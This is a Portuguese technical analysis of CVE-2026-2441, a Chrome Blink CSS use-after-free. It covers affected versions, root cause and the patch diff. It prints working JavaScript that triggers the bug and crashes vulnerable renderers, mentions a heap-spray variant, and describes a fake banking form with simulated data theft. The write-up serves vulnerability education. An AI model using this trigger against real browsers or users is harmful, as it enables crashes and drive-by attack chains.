
Análise técnica detalhada e prova de conceito para CVE-2026-2441, uma vulnerabilidade use-after-free no CSS do Chrome que permite execução remota de código (RCE) no renderer em sandbox por meio de páginas HTML especialmente elaboradas.
CVSS 8.8 (Alto) | Explorado Ativamente na Natureza | RCE no Renderer (com Sandbox)
Uma vulnerabilidade de uso-após-liberação no mecanismo CSS Blink do Google Chrome que permite que um atacante remoto execute código arbitrário dentro do sandbox do navegador por meio de uma página HTML maliciosa.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Alto) |
| Tipo | Uso-Após-Liberação (CWE-416) |
| Componente | Blink CSS — CSSFontFeatureValuesMap |
| Arquivo Fonte | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Commit de Correção | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Relator | Shaheen Fazim (2026-02-11) |
| Data do Patch | 2026-02-13 |
| Na Natureza | Sim — Google confirmou exploração ativa |
| Plataforma | Vulnerável | Corrigida |
|---|---|---|
| Windows / macOS (Estável) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Estável) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Estável Estendida) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Navegadores baseados em Chromium (Edge, Brave, Opera, Vivaldi) | Consulte o aviso do fornecedor | Varia |
FontFeatureValuesMapIterationSource armazenava um ponteiro bruto (const FontFeatureAliases* aliases_) para o HashMap interno FontFeatureAliases. Quando o mapa é mutado durante a iteração por meio de set() ou delete(), o HashMap faz rehashing — alocando novo armazenamento e liberando o antigo. O ponteiro bruto torna-se pendente (dangling), e a próxima chamada a FetchNextItem() lê de memória já liberada.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
A correção substitui o ponteiro bruto por uma cópia profunda do HashMap. Mesmo que o mapa original sofra rehash, o iterador opera em sua própria cópia, impedindo o ponteiro pendente.
poc.html em uma versão vulnerável do Chrome (< 145.0.7632.75)| Versão do Chrome | Comportamento Esperado |
|---|---|
| < 145.0.7632.75 (sem correção) | Crash do Renderer — STATUS_ACCESS_VIOLATION (Windows) ou SIGSEGV (Linux/macOS). O Chrome mostra o erro "Não foi possível abrir esta página". |
| >= 145.0.7632.75 (corrigida) | Sem crash — a PoC é executada até o fim, todas as entradas são lidas normalmente. |
A PoC está organizada para mostrar a cadeia de exploração em uma ordem clara e reproduzível. A primeira parte cria o objeto Blink/CSS vulnerável, a segunda parte aciona a invalidação do iterador, e a parte final simula os efeitos pós-exploração em um ambiente acadêmico seguro.
Nota importante: o acionamento da UAF é implementado por meio de APIs CSS/JavaScript reais expostas pelo navegador. O vazamento de heap e o painel de exfiltração são intencionalmente controlados/simulados para evitar a divulgação de um exploit de Chromium armamentizado.
O payload primeiro define uma regra CSS @font-feature-values:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
Essa regra faz com que o Blink crie um CSSFontFeatureValuesMap interno. Na implementação vulnerável, a iteração sobre esse mapa não é segura porque o iterador mantém um ponteiro bruto para o armazenamento interno de FontFeatureAliases.
O payload JavaScript posteriormente obtém o mapa a partir da folha de estilo:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
Nesse ponto, a página controlada pelo atacante tem um identificador JavaScript para um objeto do navegador cuja implementação interna em C++ é vulnerável à invalidação de iteradores.
O acionamento não é executado imediatamente. A PoC aguarda 800 ms antes de executar a sequência vulnerável:
setTimeout(triggerUAF, 800);
Esse atraso é usado para estabilidade da demonstração. Ele permite que a página e o formulário falso de verificação bancária sejam renderizados antes que o acionamento da corrupção de memória seja executado. Em um cenário real de drive-by, o mesmo acionamento também poderia ser iniciado automaticamente assim que a página maliciosa carregasse.
A primitiva UAF central é o seguinte laço:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
A vulnerabilidade é acionada pela ordem das operações:
1. map.entries() creates an iterator over CSSFontFeatureValuesMap.
2. In the vulnerable Blink implementation, the iterator references the internal map storage.
3. it.next() reads the next entry through that iterator.
4. map.delete(key) mutates the same map while the iterator is still alive.
5. map.set(...) inserts a new entry and can force the underlying HashMap to rehash.
6. Rehashing may free or move the old storage.
7. The iterator may still reference the old storage.
8. The next iterator access can therefore become a Use-After-Free.
A estratégia agressiva original usava um laço maior semelhante a heap spray, por exemplo, inserindo centenas de elementos, como 512 novas entradas após cada exclusão. Isso cria uma pressão mais forte sobre o heap e torna reallocação/reutilização mais prováveis.
Para a demonstração ao vivo, isso foi reduzido para apenas 4 etapas de mutação:
while (step < 4) {
// iterator read + delete + set
}
A razão é prática e pedagógica: o spray de 512 elementos frequentemente fazia o renderer travar imediatamente. Um crash é útil para comprovar o impacto de disponibilidade, mas impede que o restante da demonstração mostre o roubo de dados simulado e o painel do atacante. A versão reduzida ainda demonstra a lógica vulnerável de invalidação de iterador, mantendo o navegador estável o suficiente para a apresentação ao vivo.
Um exploit UAF armamentizado real normalmente exigiria uma primitiva de divulgação de memória para vazar ponteiros do heap ou do V8 e contornar o ASLR. A demonstração não implementa uma leitura arbitrária real de memória. Em vez disso, ela gera um endereço semelhante ao heap a partir de um intervalo estático predefinido:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
Esse valor é um vazamento de heap simulado:
0x55a000000000 é o intervalo inicial fixo semelhante ao heap usado pela demonstração.Math.random() * 0x200000 adiciona um pequeno deslocamento aleatório.base & ~0xfff alinha o endereço ao limite de uma página.